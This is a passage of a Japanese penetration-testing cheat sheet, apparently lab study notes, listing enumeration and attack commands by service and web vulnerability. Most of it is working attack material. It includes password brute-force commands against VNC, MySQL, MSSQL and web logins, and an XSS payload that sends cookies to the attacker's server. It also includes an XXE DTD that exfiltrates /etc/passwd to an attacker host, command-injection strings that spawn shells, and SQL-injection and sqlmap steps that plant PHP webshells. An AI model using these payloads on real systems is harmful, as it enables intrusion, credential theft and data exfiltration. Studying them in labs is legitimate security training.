    RPC(Remote Procedure Call)系のサーバ・クライアント(NFSNISなど)と通信を行うためのもの
    クライアントとプログラムの通信を実現する
    rpcinfoコマンドは、RPCサーバーに対してRPC呼び出しを行い、サーバーの状態を報告する
    悪用できる可能性は低い
    Exploitは以下の通り、dosしかない。
    f:id:kakyouim:20200304215116p:plain

NFS (Network File System)の調査

  • nmap -p 2049 --script=nfs-* 192.168.56.5
  • scanner/nfs/nfsmount
  • showmount -a 192.168.56.5
    マシンから他のマシンへと、ネットワークを通じて ディレクトリとファイルを共有することを可能にするらしい
    「nlockmgr」と「mountd」は、それぞれNFSのロックマネージャーとリッスンサーバーである
    -aオプションを付けると、クライアントのホスト名と共有しているディレクトリ名が表示される。
    -eオプションを付けると、ディレクトリを共有可能な相手が表示される。
    ここで、マウントできるディレクトリがあれば、Kaliにマウントして、.sshディレクトリを作成してauthorized_keys(公開鍵)を配置することでSSH接続できるようになる。
    computersecuritystudent.com

NIS(Network Infomation Server)

  • use auxiliary/gather/nis_ypserv_map

TCP/IP上で コンピュータの情報を共有するサービス
よくわからない
www.rapid7.com

netbios-ns(udp137)の調査

  • nbtscan 10.11.1.0
    Microsoftネットワークに接続しているパソコン同士は,137番(NETBIOS Name Service)や138番(NETBIOS Datagram Service)ポートを使ってIPアドレスを取得する。
    その後,ファイル共有やプリンタ共有などの実際の通信をする。
    なのでudp137,138なければ139ポートではなく445ポートを使ってファイル共有している(??)
    NBTscanは、リモートコンピュータのNetBIOS名テーブルをネットワーク経由で調査するツール。
    ターゲットホストに対してNetBIOS名を問い合わせることにより、そのホストのコンピュータ名、ドメイン名(あるいはワークグループ名)、稼動しているNetBIOS関連サービス、ローカルログオンユーザ名などを知ることができる。
    直接悪用できる可能性は低い。

SMB(139,445)の調査

  • nmap -p 139 --script=smb-* 10.11.1.1
139/TCP   NETBIOS Session Service(netbios-ssn)
445/TCP Direct Hosting of SMB(microsoft-ds)

ポート137~139は「NBT(NetBIOS over TCP/IP)」のポート、ポート445はWindows 2000から導入された「Direct Hosting of TCP/IP」のポート。
WIndows2000以前がある混在環境では,139番ポートを使ってSMBで通信する必要があるため、139ポートも445も両方空いている。
139と445で応答したほうを使用している。(?)

SMBのバージョン 搭載するWindows
SMB 2.0 Windows Vista および Windows Server 2008
SMB 2.1 Windows 7 および Windows Server 2008 R2
SMB 3.0 Windows 8 および Windows Server 2012
SMB 3.02    Windows 8.1 および Windows Server 2012 R2
  • enum4linux 192.168.56.20
    有益な情報を一覧で表示。ユーザー名、共有フォルダへのアクセス可否がわかる。
    enum4linuxは139と445両方に問い合わせて応答したほうと通信するっぽい。
    enum4linuxでSambaのバージョンが表示されない場合は、Metasploitかsmbver.shを使用する。
    Windows NT、2000、およびXP(ほとんどのSMB1),samba(unix)ならデフォルトでNULLセッションが有効で大量の情報が見込める。
  • smbclient //192.168.56.17/kath
    もし共有フォルダがkathという名前なら、上記のコマンドでアクセス可能。
  • smbmap -H 192.168.56.20 -P 445
    で共有フォルダを一覧表示できる。
  • use auxiliary/scanner/smb/smb_version
    metasploitのこの機能でも判明することがある。
  • bash smbver.sh 10.11.1.115 139
    enum4linuxでSambaのバージョンが特定できないときに使う。
    github.com
  • python3 smbrute.py -h 10.11.1.1 -u root -P /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt
    Brute force.
  • C$,Admin$,IPC$
    WindowsはデフォルトでSMBを介して、C$,Admin$,IPC$の管理共有と隠し共有を公開している。

    C $共有で、リモートマシンのCドライブにアクセスできる。
    Admin $を使用すると、Windowsインストールディレクトリにアクセスできる。
    ただし、これらの共有をマウントできるようにするには、リモートシステムの管理者である必要がある。
    IPC $は、より一般的にIPCと呼ばれるプロセス間通信を容易にするために使用されるWindows内の特別な共有。
    つまり、他の共有のようなファイルまたはディレクトリへのアクセスを許可せず、リモートシステムで実行されているプロセスとの通信を許可する。
    具体的には、IPC $は名前付きパイプを公開する。
    名前付きパイプは、リモートプロセスと通信するために読み書きできる。
    このような名前付きパイプは、アプリケーションがパイプを開いてWindows Serverサービス(SMB)に登録するときに作成され、IPC $共有によって公開されるようになる。
    そのような名前付きパイプに書き込まれたデータはリモートプロセスに送信され、逆に、リモートプロセスによって書き込まれた出力データは、ローカルアプリケーションによってパイプから読み取ることができる。

    www.hackingarticles.in
    により詳細な情報がのっている。
  • python smbexec.py Administrator:password@10.11.1.1
    Administratorなどの資格情報がわかっているなら、Impacketのツールを使ってログインできる。

    MSRPC(135)の調査

  • nmap 192.168.0.101 --script=msrpc-enum
  • msf > use exploit/windows/dcerpc/ms03_026_dcom
    English versions of Windows NT 4.0 SP3-6a, Windows 2000, Windows XP, and Windows 2003
    なら脆弱である可能性がある。

IRCの調査

  • hexchat
    を起動して、IPアドレスを設定してつなげることでIRCのバージョンが判明する。

CUPS(631)の調査

CUPSは,Mac OSLinuxを含むUNIX系OSの印刷システムで中核を成すサービスで、印刷データを管理する。
Exploitは以下の通りこれくらいある。
CUPS < 2.0.3でRCEが存在しているが、どうやらPrinterに接続されていないとダメっぽい?
f:id:kakyouim:20200306155506p:plain

root@kali:# python /usr/share/exploitdb/exploits/linux/remote/41233.py  -a 10.11.1.1 -b 631 -f

             lol ty google
             0000000000000
          0000000000000000000   00
       00000000000000000000000000000
      0000000000000000000000000000000
    000000000             0000000000
   00000000               0000000000
  0000000                000000000000
 0000000               000000000000000
 000000              000000000  000000
0000000            000000000     000000
000000            000000000      000000
000000          000000000        000000
000000         00000000          000000
000000       000000000           000000
0000000    000000000            0000000
 000000   000000000             000000
 0000000000000000              0000000
  0000000000000               0000000
   00000000000              00000000
   00000000000            000000000
  0000000000000000000000000000000
   00000000000000000000000000000
     000  0000000000000000000
             0000000000000
              @0x00string
https://github.com/0x00string/oldays/blob/master/CVE-2015-1158.py

[*] locate available printer
[-] no printers

FTPの調査

  • use auxiliary/scanner/ftp/anonymous
    metasploitのFTPスキャナーのエクスプロイト。ユーザー名Anonymousで何ができるのかを調査する。
  • ftp 192.168.56.10
  • lftp -u anonymous,anonymous 192.168.56.10
    などのコマンドでアクセスできる。pwd,ls
    catは使えないのでget ファイル名でローカルにダウンロードする。
  • filezilla
    GUIが使いたければこれ。

VNC(5900)の調査

  • vncviewer
  • medusa -h 192.168.0.6 –u root -P /root/Desktop/pass.txt –M vnc
  • ncrack -V --user root -P /root/Desktop/pass.txt 192.168.0.6:5900
  • hydra -s 5900 –P /root/Desktop/pass.txt –t 16 192.168.0.6 vnc
  • use auxiliary/scanner/vnc/vnc_login
5900/tcp  open  vnc           syn-ack ttl 128 VNC (protocol 3.8)
| vnc-info: 
|   Protocol version: 3.8
|   Security types: 
|     VNC Authentication (2)
|     Tight (16)
|   Tight auth subtypes: 
|_    STDV VNCAUTH_ (2)

のような場合、RFB 3.8プロトコルを使用し、Security typesにVNC Authentication(2)が使われているため、パスワードのみの認証である(?)
srgia.com

www.hackingarticles.in

RTSP(554)の調査

RTSPとは、TCP/IPネットワーク上で音声や動画などのストリーミング伝送を行うための制御データの送受信をするプロトコル(通信手順)の一つ。
searchsploit windows rtsp | grep -vi apple | grep -vi dos
f:id:kakyouim:20200303172241p:plain
せいぜい上記しかExploitがないので、nmapでこれにドンピシャでない限りはExploitは考えなくてよい(?)

identd(113)の調査

[IDENT/AUTH (ident tap; Authentication service)] サーバに対してアクセスした際に、サーバがクライアントに対しユーザ名を要求するために使用するプロトコル

root@kali:# nc 10.11.1.1 113
22,12
22 , 12 : ERROR : NO-USER
139,43218
139 , 43218 : ERROR : NO-USER
22,43218
22 , 43218 : ERROR : NO-USER
22,0
22 , 0 : ERROR : INVALID-PORT
123,123
123 , 123 : ERROR : NO-USER

0 , 0 : ERROR : UNKNOWN-ERROR
  • python identi.py 10.11.1.1 -q 22 139 445 113

github.com

book.hacktricks.xyz

oracle(1521)の調査

  • tnscmd10g status -h 10.11.1.1
    最初は、通常デフォルトポート(1521 / TCP)に常駐するTNS-Listenerと通信して、対話できるOracle 10gデータベースを発見する。
  • oscanner -s 10.11.1.1 -P 1521
    SID(サービス識別子)は基本的にデータベース名であり、インストールに応じて、1つ以上のデフォルトSID、または完全にカスタムのdba定義SIDを持つ場合がある。
    SIDはデータベースのインスタンス(実際にメモリ上で動作するもの)である。
    有効なSIDが見つかったら、次はアカウント列挙をする。
    Lockされていないアカウントがあれば、そのアカウントでログインを試みる。
  • sqlplus DBSNMP/DBSNMP@10.11.1.202:1521/sid;
    sqlplusというOracleDBと対話するためのクライアントを用意する必要がある。
ERROR:
ORA-03134: Connections to this server version are no longer supported.

となったらSQLPLUSのバージョンをさげる必要がある。
以下、参考文献。
medium.com

Mysqlの調査

  • nmap -p 3306 --script=mysql-* 10.11.1.11
  • mysql -h 192.168.56.10 -u root -P 3306
    でログインできるかどうか試す。ログインできれば、
    • show databases;
    • use データベース名;
    • show tables;
    • show columns from テーブル名;
    • select * from テーブル名; などを実行できる。
      ちなみに
  • mysql -h localhost -u root -P 3306 -e "show databases;"をすると-eだけを実行できる。
    また、\! lsみたいに書くとlsコマンドなどのLinuxコマンドが実行できる。
  • ncrack –v –U /root/Desktop/user.txt–P /root/Desktop/pass.txt 192.168.1.106:3306
  • hydra –L /root/Desktop/user.txt –P /root/Desktop/pass.txt 192.168.1.106 mysql
  • use auxiliary/scanner/mysql/mysql_login
  • medusa -h 192.168.1.106 –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mysql

www.hackingarticles.in

MSSQL(tcp1433/udp1434)の調査

  • sqsh -S 192.168.1.101 -U sa
    MSSQLはデフォルトでは、管理者ユーザーとして「sa」を使用しているため、このブルートフォースを行う。
  • python mssqlclient.py -p 1433 sa:password@10.11.1.1
    impakectスクリプトを使用できる。
    xp_cmdshell reverse-4445.exeなどでファイルを実行できる。
  • nmap -Pn -n -sS --script=ms-sql-xp-cmdshell.nse 10.11.1.1 -p 1433 --script-args mssql.username=sa,mssql.password=password,ms-sql-xp-cmdshell.cmd="net user",mssql.instance-all
    Loginができて、xp_cmdshellをサポートしていればNmapで任意のコマンドを実行できる。
  • hydra -l sa -P /usr/share/wordlists/rockyou.txt 10.11.1.1 mssql
    データベースにログインできると、さらに侵害できる可能性あり。
    use auxiliary/scanner/mssql/mssql_login
    でも可能。
  • use auxiliary/admin/mssql/mssql_enum
    • xp_cmdshellは有効かどうか
    • saアカウントにパスワードが含まれているかどうか
    • システムおよびWindowsがログインしているかどうか
    • データベースサーバーが実行されている特権
    • 存在するデータベース
      などか得られる。
      xp_cmdshellが有効になっていれば、SQL Serverを介してリモートシステムでコマンドを実行できる。
      use auxiliary/admin/mssql/mssql_exec
      で実行したいコマンドを実行する。
      詳細は以下の参考文献
      www.hackingarticles.in

pentestlab.blog

java rmi(1617)の調査

Java RMIとは、Java言語に標準で用意された機能の一つで、あるJavaオブジェクトから、異なるコンピュータ上で動作する別のJavaオブジェクトのメソッドを呼び出して実行することができるようにする仕組みらしい。
また、その機能を利用するために規定されたプログラム呼び出し規約らしい

Java Management Extensions (JMX) は、Java アプリケーションをモニタおよび管理するための仕様。
JMX を使用すると、汎用管理システムでアプリケーションをモニタし、注意が必要なときに通知を生成し、アプリケーションの状態を変更して問題を解決できるらしい。
Java RMI Server Insecure Default Configuration Java Code Execution(exploit/multi/misc/java_rmi_server)
のRCE Exploitが存在。
これのMetasploit以外のExploit codeは探したがない???
他にも以下のようなExploitがある。
f:id:kakyouim:20200329222606p:plain
github.com

Windows Remote Management (WinRM)(5985)の調査

5985ポートのMicrosoft HTTPAPI httpd 2.0 (SSDP/UPnP)Windows Remote Management (WinRM)らしい Windows を遠隔で操作する仕組み。
コマンドで操作するらしい。
ポート5985が開いているがポート5986が閉じている場合、これはWinRMサービスがHTTP経由の接続のみを受け入れるように構成され、暗号化が有効になっていないらしい
use auxiliary/scanner/winrm/winrm_auth_methods
で認証形式を特定。
悪用するには管理者の資格情報が必要。あれば任意コマンドを遠隔から実行できる。
資格情報がなけれは悪用できるようなExploitはない??
f:id:kakyouim:20200329223553p:plain
pentestlab.blog

Active Directoryの調査

  • ユーザ認証
    Kerberos version 5
    ドメイン内のユーザーのパスワードがわかっている場合はそれを使ってログインできるかも?
  • ディレクトリサービス
    LDAP version 3
    木構造のデータベースを使ってアカウント情報などを管理し、通信にLDAPというプロトコルを用いている。
  • ファイル共有
    SMB version 1.0 / 2.x / 3.0

    以下参考文献。
    medium.com
kerberos(88)の調査
  • nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm=’<domain>’,userdb=/root/Desktop/usernames.txt <IP>
  • use auxiliary/gather/kerberos_enumusers (Domain: test.local)
  • python kerbrute.py -domain test.local -users user -passwords pass -dc-ip 10.11.1.1 -outputfile out.txt -debug -threads 4
    Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)というエラーが発生すると、クライアントとADとで時間がずれている(?)ので、クライアント側をADと同じか5分以内に修正する必要がある。
    rdate -n 10.10.10.100 -v
    でKernelサーバーと時刻を同期する。
  • python FindSMB2UPTime.py 192.168.1.101
    MS14-068(Microsoft Windows Kerberos - Privilege Escalation (MS14-068))を確認する。
    これはADにログインできるドメインユーザーの権限をSYSTEMに昇格させるPrivilegeEscalation。
    ドメインユーザーのUser名、Password、SIDが必要。
    github.com
ldap(389,636,3268,3269)の調査
  • nmap -p 389 --script ldap-rootdse (TARGET IP ADDRESS) -vv
    匿名/資格情報付きのLDAPデータダンプを実行する。
    ldapsearch -LLL -x -H ldap://10.11.1.1 -b '' -s base '(objectclass=*)'
    でも同様のことができる。
  • nmap -p 389 --script ldap-brute --script-args \ ldap.base='"cn=schema,dc=targetbox,dc=target"' (TARGET IP ADDRESS) -vv
  • /usr/share/doc/python-impacket/examples/GetUserSPNs.py active.htb/svc_tgs -dc-ip 10.10.10.100
    でハッシュでTGSチケッ​​トを要求して、hashcatでクラックする。
    https://github.com/weaknetlabs/Penetration-Testing-Grimoire/blob/master/Enumeration/ldap.mdgithub.com

github.com

kpasswd5(464)

Active Directoryに対するパスワードの変更/設定に使用される。

CMSの調査

ソースコードを見てバージョンが書いてないかなどを確認

githubなどでCMSソースコードを見て、何らかのクレデンシャルが書かれている可能性のあるファイルなどを確認する

Wordpressの調査
  • wpscan --url http://192.168.56.17/blog/ --enumerate u
    でユーザー名を列挙できる。
  • wpscan --url http://192.168.56.17/blog/ --enumerate u -P /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt
    でパスワードのブルートフォースができる。
  • wpscan --url http://192.168.56.17/blog/ -e u -e at -e ap
    でPluginとThemeを特定できる。
    または、/wp-content/plugins/などのディレクトリ内を調査する。
  • wpscan --url https://192.168.56.17:12380/blog/ --disable-tls-checks --enumerate u
    https通信の場合は--disable-tls-checksオプションを付ける。
  • nmap -sV --script http-wordpress-enum 192.168.56.24 -p 80
    PluginとThemeを列挙する
  • use exploit/unix/webapp/wp_admin_shell_upload
    Wordpressにログインできるようになっていれば、Metasploitでシェルを確立できる
  • ruby wp_xmlrpc_brute_force.rb http://10.11.1.1/xmlrpc.php -u admin -P /usr/share/wordlists/rockyou.txt -v
    login.phpブルートフォースを行うと、IPアドレスがロックされたりしてうまく行かないことがあるため、代わりにXMLRPC-APIを使ってブルートフォースを行う。
    wpscanにはこの機能はまだないらしい。
    以下に動作するRubyスクリプトがある。
    WordPress XML-RPC Password Brute Force · GitHub

ブルートフォースでログインできた場合は、ThemesやPluginの404.phpなどを編集して任意のPHPコードに書き換えてWebshellを作成できる。以下参照。
www.hackingarticles.in

その他の調査ツール

Wireshark

  • Port Knocking
    よくわからなければとりあえずキャプチャ
    決められたポートを決められた順番で叩くことでファイアーウォールに穴を空けられるような仕組み。Wiresharkでキャプチャ
  • http.request.method == "POST" or http.request.method == "GET"
    これでGET,POSTだけをフィルタリング
  • 通信をみてデバッグ
    • Bad TCP(黒)
      パケットが途中でロスしたなどでパケットの順番が入違ったなどのerror。
      Networkの問題っぽい。
      milestone-of-se.nesuke.com
    • TCP RST(赤)
      RSTフラグ(異常終了を示す)を一方的に送り付ける。
      Applicationの問題っぽい。
    • TCP SYN/FIN(灰)
      http以外のSYN/FIN(TCP 3way handshakeの開始と終了)のパケット。
      nmapなどのポートスキャンの時に見られる。

f:id:kakyouim:20200407182553p:plain

攻撃サーバの立ち上げ

  • service apache2 start
  • systemctl start apache2
    apacheサーバ
  • python -m SimpleHTTPServer 8000
  • ruby -run -ehttpd . -p3000

Wordlistの作成

  • crunch 7 7 -t admin@@ -o passlist.txt
    adminaa,adminab...などの文字列を作成できる。
    @ will insert lower case characters
    , will insert upper case characters
    % will insert numbers
    ^ will insert symbols
    crunch 7 7 -f /usr/share/crunch/charset.lst mixalpha-numeric-space -t admin@@ -o passlist.txt
    こうすることで@のルールにmixalpha-numeric-spaceが当てはまる。
    参考: www.securitynewspaper.com
  • cewl -w wordlist http://192.168.136.212:1898/?q=node/1
    URLの2つリンクを辿った先までのページの中で、3文字以上の単語をWordリストとして保存する。
    cewl -w wordlist http://192.168.136.212:1898/?q=node/1 --with-numbers
    --with-numbersオプションを付けないと、例えばpassword123という文字列が存在していても数字は含めないためpasswordとして保存されてしまう。

    文字列の変換

  • 2進数10進数16進数ASCII文字の変換
    www.rapidtables.com

Crack Zip Password

  • fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt file.zip

ファイルの解析

  • file backup.img
  • foremost backup.img
    passphraseでファイルが保護されてても解析して出力してくれるフォレンジックツール
  • binwalk -e backup.img
    ファイルを解析して出力する

Webサービスへの攻撃

Directory Traversal

  • directory_traversal_2.php?directory=../
  • directory_traversal_2.php?directory=file://
  • directory_traversal_1.php?page=../../../etc/passwd
  • directory_traversal_1.php?page=file:///etc/passwd

ログイン画面への攻撃

Default Account Login

phpmyadmin

admin \ "" (空白), admin \ admin, admin \ password
root \ "" (空白), root \ root, root \ password

SQL Injection

  • 1' or '1' = '1
    基本的なこのSQLインジェクションの入力で試す。

    Login Brute Force attack

  • hydra -L user.txt -P /usr/share/john/password.lst -s 80 192.168.56.20 http-post-form '/checklogin.php:myusername=^USER^&mypassword=^PASS^&Submit=Login:Wrong Username or Password'
  • medusa -h 192.168.56.32 -U users.txt -P pass.txt -M web-form -m FORM:"/login" -m DENY-SIGNAL:"Login falied" -m FORM-DATA:"post?login=&password=&"
    以下に使用できるモジュール一覧がある
    https://www.aldeid.com/wiki/Medusa
  • python patator.py http_fuzz url=http://192.168.56.32/login method=POST body='login=FILE0&password=FILE0' 0=user.txt accept_cookie=1 follow=1 -x ignore:fgrep='DNS Manager Login'
    accept_cookie=1 follow=1を入れると、受け取ったCookieを設定してリダイレクト先まで確認.
    -l /tmp/patatorオプションでRUNTIME.logにコマンド実行結果を保存
    cat RUNTIME.log | awk '{print $6":"$9}' | awk -F ":" '{if($1!=346) print $1" "$3}'とかでレスポンスサイズが異常なものを検知するとかでもよさそう
  • Burp Intruder
    [Send to Intruder]にして
    f:id:kakyouim:20200127000148p:plain
    [Cluster bomb]にして、Payload set 1と2にuser.txtとかをセットして[start attack]
    Pro版じゃなければスレッドを1以外にできないのでかなり遅い……
    Basic Authentication
  • python3 bruteforce-http-auth.py -t http://10.11.1.1/webdav/ -u user -P /usr/share/metasploit-framework/data/wordlists/http_default_users.txt --verbose
    詳しくは以下を参照。
    github.com

  • hydra -l user -P /usr/share/metasploit-framework/data/wordlists/http_default_users.txt 10.11.1.1 http-get /target-uri

便利なWordlist

  • Login Bruteforce
    • /usr/share/metasploit-framework/data/wordlists/http_default_users.txt
    • /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt
    • /usr/share/wfuzz/wordlist/general/big.txt
    • /usr/share/john/password.lst
    • /usr/share/metasploit-framework/data/wordlists/adobe_top100_pass.txt
    • /usr/share/seclists/Usernames/Names/familynames-usa-top1000-lower.txt
      大文字のものを小文字に変換したファイルを自作した。
    • /usr/share/wordlists/rockyou.txt
  • Web file bruteforce
    • /usr/share/dirb/wordlists/common.txt
    • /usr/share/wfuzz/wordlist/vulns/cgis.txt
    • /usr/share/SecLists/Fuzzing/fuzz-Bo0oM.txt
    • /usr/share/SecLists/Discovery/Web-Content/quickhits.txt
    • /usr/share/SecLists/Discovery/Web-Content/common.txt
      これらのファイルを結合してもいいけど、wfuzzの場合はエラーで詰まることもあるので小分けした方がよい(?)

Cookieの奪取

  • 管理者のCookieを奪取してログイン
    他のページにXSSができれば、管理者のCookie<script>location.href='http://192.168.56.5/xss.php?gimme='+document.cookie;</script>などで自分のローカルサーバーに送信させる。

CMS

wordpressdrupalなどの脆弱性を突く

暗号の解読

Session Tokenの解析

f:id:kakyouim:20200122140152p:plain
BurpsuiteのSequencerという機能でセッショントークンを解析できる。通常100以上のトークンがあれば調べてくれる

TLS/SSL Vuln Scanner

  • sslscan --no-failed --version 192.168.56.33:9443
  • nmap -v -v --script ssl-cert,ssl-enum-ciphers -p 9443 192.168.56.33
  • nmap --script ssl-heartbleed -sV -p 8443 192.168.56.33
  • sslyze --regular --hide_rejected_ciphers 192.168.56.33:9443
  • ./o-saft.pl +check -v 192.168.56.33:9443
    • ./o-saft.pl +info -v 192.168.56.33:9443
    • ./o-saft.pl +quick -v 192.168.56.33:9443
    • ./o-saft.pl +cipher -v 192.168.56.33:9443
    • ./o-saft.pl +cipherall -v 192.168.56.33:9443
  • ./o-saft.tcl
  • ./testssl.sh -U 192.168.56.33:9443
  • msfconsole> use auxiliary/scanner/ssl/openssl_heartbleed
    正直なんもわからん。
    参考文献
    net123.tistory.com

    Heart Bleed

  • python /usr/share/exploitdb/exploits/multiple/remote/32745.py 10.11.1.1 -p 443
    Memoryの一部をリークできる。
    f:id:kakyouim:20200314020214p:plain
  • msfconsole> use auxiliary/scanner/ssl/openssl_heartbleed
use auxiliary/scanner/ssl/openssl_heartbleed
set RHOSTS 192.168.56.33
set RPORT 8443
set verbose true
exploit

ECB encrypt attack

平文ブロックが同じであれば暗号ブロックも同じになる。それぞれのブロックは独立して暗号化されるため、暗号化されたデータ(セッションIDなど)を入れ替えることが可能
例)user:rootでログインしたいとする。user password を入力するがサーバがpasswordを認証に用いない場合、passwordのフォームにrootとしてSessionIDを受けとり、userとpasswordのブロックを入れ替えればrootとしてログインできる(かもしれない)
例)ブロックサイズが8バイトの場合、aaaaaaaarootとしてSessionIDを取得しaaaaaaaaに該当する箇所を削除して送信すれば行ける(かもしれない)
参考:
PentesterLab: Learn Web App Pentesting!

padding oracle attack

  • padbuster http://192.168.56.27/index.php UzQ1G4%2FpF2Vu8BKSS6x3JRuYaRiIpUyX 8 -cookie auth=UzQ1G4%2FpF2Vu8BKSS6x3JRuYaRiIpUyX
    パディングがPKCS7、ブロック暗号のモードがCBC、送った暗号文のPaddingが正しいか確認可能な時、暗号文を解読、改竄できる
    あるユーザーのセッションIDが上記の時、それを解読することができる。
  • padbuster http://192.168.56.27/index.php UzQ1G4%2FpF2Vu8BKSS6x3JRuYaRiIpUyX 8 -cookie auth=UzQ1G4%2FpF2Vu8BKSS6x3JRuYaRiIpUyX -plaintext user=admin
    plaintextオプションに暗号化したい平文を設定することで偽造されたセッションIDを不正に発行できる。Apache HTTPリリース2.4.25より前のmod_session_crypto関数でこの脆弱性がある。
    参考:
    Padding Oracle Attack
    PentesterLab: Learn Web App Pentesting!

XXE Injection

  • 入力したものが、XML解析されて、その結果がそのまま表示される場合
    入力したものが、そのままXML解析される脆弱性
    入力したものが、XML解析されて、その結果がそのまま表示される場合、以下でファイルを読み込める
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY bWAPP SYSTEM "http://localhost/bWAPP/robots.txt">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>

XXEiで表示するコンテンツに<が含まれる場合、XML構文が終了してしまうためそのよう場合には、
php://filter/read=convert.base64-encode/resource=http://localhost/bWAPP/passwords/heroes.xml
としてBase64エンコードする

  • それ以外
    Content typeをXMLとすることで、XML構文を解析させる。XMLのエンティティの外部参照を使って標的内のファイルを取得して送信することができる。また、secret URLの取得や、秘密鍵を取得して偽造セッションIDを作成してログインなど。
    まず、dtdを外部参照にして、標的にXMLリクエストを投げる。
POST /login HTTP/1.1<br>
Host: vulnerable<br>
Connection: close<br>
Content-Type: text/xml<br>
Content-Length: 98<br>
<?xml version="1.0"?><br>
<!DOCTYPE foo SYSTEM "http&#58;//192.168.56.5:3000/test.dtd"><br>
<foo>&e1;</foo><br>

このとき、dtdファイルは攻撃者のサーバに設置する。このリクエストの中に%e1;を入れると、dtdファイル内で定義されるe1エンティティに置き換えられる。
そして、dtdファイルの中には、
<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://192.168.159.1:3001/BLAH?%p1;'>">
%p2;
と書くことで、XML解析後には、
<!ENTITY e1 SYSTEM 'http://192.168.159.1:3001/BLAH?[/etc/passwd]'>
となり、e1が参照するのは、攻撃者の3001ポートにhttp://.../BLAH?root:x:... みたいな形でアクセスされる。つまり、アクセスしてくるURLの中に/etc/passwdファイルの中身が表示される。
攻撃者のDTDファイルを読み込むようにXMLリクエストを送信して、実際に攻撃者の端末にアクセスがくれば、この攻撃に脆弱であると言える?(yokuwakattenai)
参考:
pentesterlab.com
http://www.beesfun.com/2017/04/21/play%E6%B8%97%E9%80%8F%E6%A1%86%E6%9E%B6XXE%E5%AE%9E%E4%BD%93%E6%94%BB%E5%87%BB/www.beesfun.com

Command Injection

  • commix --url="http://192.168.56.32/create" --cookie="rack.session=BAh7B0kiD3Nlc3Npb2..." --data="name=aa&ip=INJECT_HERE&ttl=600"
    INJECT_HEREとかけばそこをチェックする。shellshockも発見できるらしい
    github.com

  • 手動

    • & | ; $ > < ` \ !などを確認
    • <>を< >などにしてBurpを用いて確認
    • %0a 改行などを確認
    • `pwd`で、コマンドを先に実行を確認
    • echo test;/bin/sh;echo a
    • echo $(/bin/sh)
    • www.nsa.gov | id
    • 192.168.56.5 | sleep 10
    • id=1&name=webmail&ip=192.168.3.10%0a`pwd`&ttl=600
      その他、以下参照
      github.com

Xpath Injection

  • ) or contains(genre, '
  • ) or not(contains(genre, 'teck') and '1'='2
  • )]/password | a[contains(a,'
  • )]/*|//*[contains('1','1

Manual SQL Injection

Union query-based SQL Injection

  • index.php?id=1となっているところに、?id='と入力してエラーが出ればSQLインジェクションが可能。
    ?id=-1 union select 1,2,3,4,5,6 --などを入力して、エラーが出るまで数字を増やしていく。今回は7とするとエラーがでた(ことにする)。
    画面に出ている数字のところにdatabase(),user(),hostname(),@@version,@@datadir,system_user()などとすると、現在のデータベースなどの情報が表示される。
  • UNION SELECT 1,table_schema,3,4,5,6 from information_schema.tables
    でデータベース一覧を取得。
  • UNION SELECT 1,concat(table_schema,0x3a,table_name,0x3a,column_name),3,4,5,6 from information_schema.column
    でデータベース、テーブル、カラム一覧表示を取得。
  • UNION SELECT 1,concat(username,0x3a,password),3,4,5,6 from テーブル名
    であるテーブルのカラムの値を取得
  • UNION SELECT "<?php system($_GET['cmd']); ?>" into outfile "/var/www/https/blogblog/wp-content/uploads/backdoor.php"
    でWebshellを設置。なお、Webshellを設置する/var/www/https/...などの場所は、書き込み権限がある場所を選択する必要がある。
    windowsなら、
    item=1' union select a "<?php system($_GET['cmd']); ?>" into outfile 'c:/wamp/www/PHP/lang/webshell.php'-- -
    のように書く。
    /var/www/html,/var/www/css,/var/www/classesだったりと問題によっていろいろで試してみるしかない?(よくわかっていない)

Blind SQL Injection

NoSQL Injection

  • {"username": {"$gt": ""},"password": {"$gt": ""}}
  • {"username": {"$gt": undefined},"password": {"$gt": undefined}}
  • username[$gt]=&password[$gt]=

github.com

blog.websecurify.com

sqlmap

  • sqlmap -u "192.168.56.104/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --dbs --level=5 --risk=3
    f:id:kakyouim:20200115200655p:plain
risk levelSQLi type
risk 1: 普通のSQLインジェクション
risk 2: Time-basedSQLインジェクション
risk 3: OR-basedSQLインジェクション

--dbsでデータベース一覧表示
- sqlmap -u "http://192.168.56.30/" --headers="X-Forwarded-For: *" --method GET --batch --technique T --time-sec 1
--headersオプションでヘッダーも調査、*で脆弱な箇所を指定。デフォルトではSqlmapはX-Forwarded-For:は見ない。--batchオプションでユーザー入力を省略、--time-secオプションでTime-basedのSleep時間を指定(デフォルトで5)、--techiniqueでSQLIの種類を指定

optionSQLi type
BBoolean-based blind
EError-based
UUnion query-based
SStacked queries
TTime-based blind
QInline queries
- sqlmap -u "192.168.56.104/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -D データベース名 --tables
で指定したデータのテーブル一覧表示
- sqlmap -u "192.168.56.104/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -D データベース名 -T テーブル名 --dump
で指定したテーブルのカラムの値を一覧表示。
- sqlmap -u "http://192.168.56.16/admin/edit.php?id=1" --dump --file-write="/home/user/vulnhub/webshell.php" --file-dest="/var/www/classes/webshell.php"
で/var/www/classes/にWebshellを設置。書き込み権限がなければエラーが表示される。
- sqlmap -u "http://192.168.56.16/admin/edit.php?id=1" --cookie=PHPSESSID=sralrfgdr0qo6v331g12mso8j3
ログイン後にSQLインジェクションできる場合はCookieを設定する。
また、phpmyadminにアクセスできれば、 Shell Uploading in Web Server through PhpMyAdminを参考にしてGUIでWebshellを設置することもできる。

よく使うSQLi payloads

  • ' or '1' = '1
  • or 1=1
  • ' AND (SELECT 4928 FROM (SELECT(SLEEP(5)))DCJf) AND '1'='1
  • ' or if((select version()) like "5%", sleep(10), null) -- -
  • ' AND extractvalue(rand(),concat(0x3a,version()))-- -
  • ' RLIKE (SELECT (CASE WHEN (1119=1119) THEN 0x73716c6d61702f312e332e313023737461626c652028687474703a2f2f73716c6d61702e6f726729 ELSE 0x28 END)) AND 'ZyyZ'='ZyyZ

NoSQLMap

  • python nosqlmap.py
